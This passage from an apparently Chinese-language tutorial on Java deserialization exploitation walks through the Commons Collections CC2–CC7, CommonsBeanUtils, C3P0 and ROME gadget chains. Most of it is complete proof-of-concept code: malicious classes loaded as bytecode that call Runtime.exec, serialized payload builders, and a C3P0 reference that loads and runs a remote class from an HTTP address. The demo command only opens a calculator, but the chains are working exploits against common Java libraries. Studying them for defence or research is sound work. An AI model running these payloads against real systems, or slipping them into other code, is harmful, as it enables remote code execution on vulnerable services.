public static void main(String[] args) throws TransformerConfigurationException, IOException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field names = clazz.getDeclaredField("_name");
names.setAccessible(true);
names.set(templates, "aaa");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] test1 =Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
byte[][] codes = {test1};
bytecodes.set(templates, codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> map1 = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class,map1);
// serialize(o);
unserialize("MyPOC3.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC3.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
恶意类:
package ysoserial.MyCC3;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里的恶意类需要继承AbstractTrabslet类的原因是
在这段代码中,会检测我们加载的恶意类的父类是不是这个常量,然后这个常量又是AbstractTrabslet这个类
所以我们的恶意类就需要继承这个类,才能使代码成功执行。
入口的那条链子与CC1和CC6差不多,我们只需要将InvokerTransformer类中反射调用Runtime改成反射调用TemplateIpl类中的newTransformer方法即可。
然后就是另一个版本的链子了
InstantiateTransformer链
当我们的InvokeTransformer被过滤时,我们就需要使用其他的类链调用,我们接下来的链子,InstantiateTransformer就是一个不错的选择,其中也存在transform方法
逻辑是先判断传进来的参数是否为Class,如果是的化获取这个类的构造器,然后实例化构造函数,同时存在这样一个类TrAXFilter,调用了newTransformer
所以我们的链子也就出来了,就只要将InvokerTransformer反射调用newTransformer改成用InstantiateTransformer调用TrAXFilter中的同名方法,来调用newTransformer即可。
package ysoserial.MyCC3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.velocity.Template;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws TransformerConfigurationException, IOException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field names = clazz.getDeclaredField("_name");
names.setAccessible(true);
names.set(templates, "aaa");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] test1 =Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
byte[][] codes = {test1};
bytecodes.set(templates, codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
// new InvokerTransformer("newTransformer", null, null)
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> map1 = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class,map1);
// serialize(o);
unserialize("MyPOC3.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC3.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
最后流程图借用下别人的
出去这几条链之外,还有CC2、CC4、CC5、CC7、CC11这几条链子,但跟上几条都差不多,基本都是换了入口类,或者换了执行命令或者执行代码的方法。
其他链子
先给出所有的流程图
CC4
先贴个POC
package ysoserial.MyCC4;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class MyCC4 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, InstantiationException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field names = clazz.getDeclaredField("_name");
names.setAccessible(true);
names.set(templates, "aaa");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] test1 = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
byte[][] codes = {test1};
bytecodes.set(templates, codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// Explicitly specify the types for TransformingComparator
TransformingComparator<Object,Object> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
// Add elements to the queue to trigger the transformation
queue.add(1); // Add dummy elements
queue.add(1);
Class cz = transformingComparator.getClass();
Field czField = cz.getDeclaredField("transformer");
czField.setAccessible(true);
czField.set(transformingComparator, chainedTransformer);
// serialize(queue);
unserialize("MyPOC4.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC4.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
return object;
}
}
这条链子中改变的是InvokerTransformer中的transform方法修改为TransformingComparator,方法中的compare方法,在这个方法中调用了transform方法
然后在PriorityQueue类中存在siftDownUsingComparator方法,这个方法中调用了compare方法
通过这个类来调用transform方法,链子就成了
CC2
cc2就是在cc4的基础上将InstantiateTransformer和TrAXFilter.class换成了InvokerTransformer的transform方法,来调用TemplateIpl来完成命令执行,就只是把cc4的中间部分改变了。
POC如下:
package ysoserial.MyCC2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field names = clazz.getDeclaredField("_name");
names.setAccessible(true);
names.set(templates, "aaa");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] test1 = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
byte[][] codes = {test1};
bytecodes.set(templates, codes);
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates);
/*需要注意的点是这里,在CC4当中是,我们是对数组进行操作,但是,在此处我么不对数组进行操作了,而且需要传进去template去*/
queue.add(1);
Class cz = transformingComparator.getClass();
Field czField = cz.getDeclaredField("transformer");
czField.setAccessible(true);
czField.set(transformingComparator, invokerTransformer);
serialize(queue);
unserialize("MyPOC2.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
return object;
}
}
CC5
这条链子就与CC6的链子差别不大,在LazyMap之后的链子完全相同,就入口类有差别,入口类换成了BadAttributeValueExpException中的readObject和TiedMapEntry类中的getValue中调用get,然后POC如下
package ysoserial.MyCC5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("MyPOC5.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC5.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
return object;
}
}
CC7
这条链子也是在cc6上的基础上修改的,将入口类修改成Hashtablez的readObject,然后在Hashtable中reconstitutionPut方法在,这个这个方法中存在一个equals方法的调用,在AbstractMapDecorator中存在equals,在AbstractMap类中存在equals方法调用了get方法,然后与LazyMap的get接上就行
poc如下:
package ysoserial.MyCC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");
serialize(hashtable);
unserialize("MyPOC7.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("MyPOC7.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
到此就算是基本完事了。
CB链
CommonsBeanUtils 简介
CommonsBeanUtils 是 Apache Commons 提供的一个工具包,主要用于简化 JavaBean 属性的操作。它属于 Apache Commons 项目下的一个子项目,提供了一些实用工具类来操作 JavaBean,如属性的复制、属性访问、转换等。
举个例子:
baby是一个最简单的JavaBean
public class Baby {
private String name = "Drunkbaby";
public String getName(){
return name;
}
public void setName (String name) {
this.name = name;
}
}
这里我们设置了一个get和set方法。
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下
import org.apache.commons.beanutils.PropertyUtils;
public class CBMethods {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
}
}
此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。
链子分析
这条链的前半部分是cc4的链子,同样是通过defindClass来加载恶意类的字节码文件,来达到任意执行恶意类。
但是入口与之前的有所区别,链子整体如下:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
我们这里的入口类TemplatesImpl#getOutputProperties()
这个是个get方法,我们在介绍的Commons-BeanUtils在利用静态方法 PropertyUtils.getProperty
的时候能够自动调用类中相应变量的对应get方法。所以我们就可以通过静态方法 PropertyUtils.getProperty
来进行对TemplatesImpl#getOutputProperties()
调用。如下:
// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
中间部分
现在我们已经确定PropertyUtils.getProperty
能够正常调用TemplatesImpl#getOutputProperties()
方法了,现在只需要找到哪一个调用了静态方法 PropertyUtils.getProperty
就可以了
我们能够看到在BeanComparator
类中存在一个compare方法对其进行了掉用,然后我们再找什么对compare进行了调用,然后发现在PriorityQueue 类中存在一个siftDownUsingComparator() 方法对其进行了调用
继续向下寻找,会在同一个类中的siftDown()
调用了这个类。
然后又能在同一个类中的heapify()
方法调用了siftDown
方法,然后一直寻找,最后能找到入口类
寻找readObject入口类
最后我们在readObject方法中找到了对heapify方法的调用:
到此为止,我们的链子的整体流程就能做出来了。
PriorityQueue.readObject()
PriorityQueue.heapify() ->
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
->
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
编写POC
依照上面的链子,我们的恶意代码不需要改动,直接用之前cc4的就行
package src.DynamicClassLoader.TemplatesImplClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("Calc");
}
}
最后得到的链子如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1FinalEXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
final BeanComparator beanComparator = new BeanComparator();
// 创建新的队列,并添加恶意字节码
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 将 property 的值赋为 outputProperties
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
C3P0反序列化
C3P0 是一个开源的 JDBC 数据库连接池库,主要用于管理数据库连接池 。先在下面解释几个概念
JDBC
JDBC(Java Database Connectivity,Java 数据库连接)是 Java 提供的一组 API,用于执行 SQL 语句并与关系型数据库进行交互。JDBC 使得 Java 应用程序能够连接到不同类型的数据库(如 MySQL、PostgreSQL、Oracle 等),执行查询、插入、更新、删除等操作,并获取结果
连接池
连接池(Connection Pool)是一种用于管理数据库连接的技术,其目的是减少应用程序与数据库交互时建立和释放数据库连接的开销。它通过在应用启动时预先创建一组数据库连接,并在需要时重用这些连接,从而提高应用程序的性能和响应速度。
链子分析
C3P0这条链现有三种利用方式,分别是
- http base
- JNDI
- HEX序列化字节加载(ClassLoder)
在原生的反序列化中,如果找不到其他的链,则可以尝试C3P去加载远程执行的类进行命令执行。JNDI则适用于<font style="color:rgb(244, 116, 102);">jackSon</font>
等利用,而Hex 序列化字节加载器的方式可以利用与<font style="color:rgb(244, 116, 102);">fastjson</font>
或者<font style="color:rgb(244, 116, 102);">JackSon</font>
等不出网的情况下进行利用
远程类加载(URLClassLoader)
在PoolBackedDataSourceBase类中存在writeObject方法中存在这样的一个地方:
在这段中,会先对connectionPoolDataSource这个属性尝试反序列化,如果不成功就在catch中进行处理,通过indirector.indirectForm()这个方法进行序列化处理,跟进这个方法后我们能够发现这个。
这个方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化,然后由于reference这个参数可控。所以我们便可成功序列化
上面是序列化,再来看反序列化,反序列化再readObject方法中。
在readObject方法中,会通过 getObject() 方法来进行反序列化获取对象,结合上文,如果ReferenceSerialized被序列化到了序列流中,那么这里可以是ReferenceSerialized#getObject,我们进行跟进。
发现最后调用了ReferenceableUtils.referenceToObject这个方法,继续向下跟进
由于ref在序列化的时候是可控的,所以这里的fClassName和fClassLocation也是可控的,而且最后这块有个newinstance
所以最后能够得到如下poc
package ysoserial.C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.Name;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.Naming;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class POC {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
f1.setAccessible(true);
f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser.writeObject(a);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
unser.readObject();
unser.close();
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override
public Reference getReference() throws NamingException {
return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
}
}
}
evilexp.class
public class evilexp {
public evilexp() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
注意,恶意类写得时候不要带包名,不然不成功
ROME 反序列化
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作
利用链分析
先把 ysoserial 中的链子贴出来
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
可以清楚的看到,这个类的链子跟 CC 链非常的相似,入口是 HashMap.readObject()
跟 CC6 是相同的,结尾的 TemplatesImpl.getOutputProperties()
这个类是 CC2 中的任意类加载的利用关键点。
在这个类的反序列化中,我们能看到有三个调用 toString 方法的类,我们逐一来看,我们先看 ToStringBean.toString(String)
我们能够发现,在这个 toString 方法中,我们能够调用任意的 getter 方法,在 TemplatesImpl 类中的任意类加载利用的是getOutputProperties()这个方法,所以我们能够通过这个类来利用这个 toString 方法,再来调用这个 getOutputProperties 方法来实现任意类的加载,然后我们跟进 _obj,_beanClass,NO_PARAMS,这几个参数,发现他在ToStringBean 这个类的构造方法中可控
到此,我们的利用链就非常的清晰了,通过控制这个类的构造方法的参数,将 TemplatesImpl 类的getOutputProperties()方法进行调用,再通过这个来进行加载恶意字节码,便能成功实现反序列化
任意调用代码实测
既然这条链跟这个 CC 链很相似,都是加载恶意类的字节码来实现命令执行的,所以我们需要先仿造之前的 CC2 编写一个恶意类,这里我们就不额外编写了,就直接使用我之前 CC3 编写过的恶意类:
package ysoserial.MyCC3;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后就是编写简单的利用代码,在 TemplatesImpl 这类实现恶意类加载之前 CC 链中有讲,就不作讲解了,完成后的代码如下:
package ysoserial.DoubleExp;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ROME {
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
setValue(tmpl,"_name","aaa");
setValue(tmpl,"_bytecodes",new byte[][]{bytecodes});
setValue(tmpl,"_tfactory",new TransformerFactoryImpl());
ToStringBean tsb = new ToStringBean(Templates.class,tmpl);
tsb.toString();
}
public static void setValue(Object obj,String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
运行后能够正常实现功能:
我们在这里向ToStringBean 类 传的参数是Templates.class 而不是TemplatesImpl.class,原因是由于TemplatesImpl 类中的 getter 方法太多,会无法调用到我们需要的方法,但Templates 这个类中只有我们需要的那个 getter 方法
入口分析
这里的入口与之前的 CC6 链相同,都是以 HashMap 的 readObject 方法为入口点的,hashMap 的最终目的是为了调用 hashcode,但是在 ROME 的EqualsBean 类中同样也有一个 HashCode:
调用这个 hashCode 方法后会调用 beanHashCode 方法,在这个方法中正好有调用 toString,正好与前面的呼应上了。通过此处跟我们刚刚任意调用类的代码结合,就能成功进行完整的反序列化代码编写了。完整代码如下:
package ysoserial.DoubleExp;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROME_2 {
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\MyCC3\\Calc.class"));
setValue(tmpl,"_name","aaa");
setValue(tmpl,"_bytecodes",new byte[][]{bytecodes});
setValue(tmpl,"_tfactory",new TransformerFactoryImpl());
ToStringBean tsb = new ToStringBean(Templates.class,tmpl);
EqualsBean ebean = new EqualsBean(ToStringBean.class,tsb);
HashMap<Object,Object> map = new HashMap<>();
map.put(ebean,"bbb");
serialize(map);
unserialize("ROME_2.bin");
}
public static void setValue(Object obj,String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME_2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
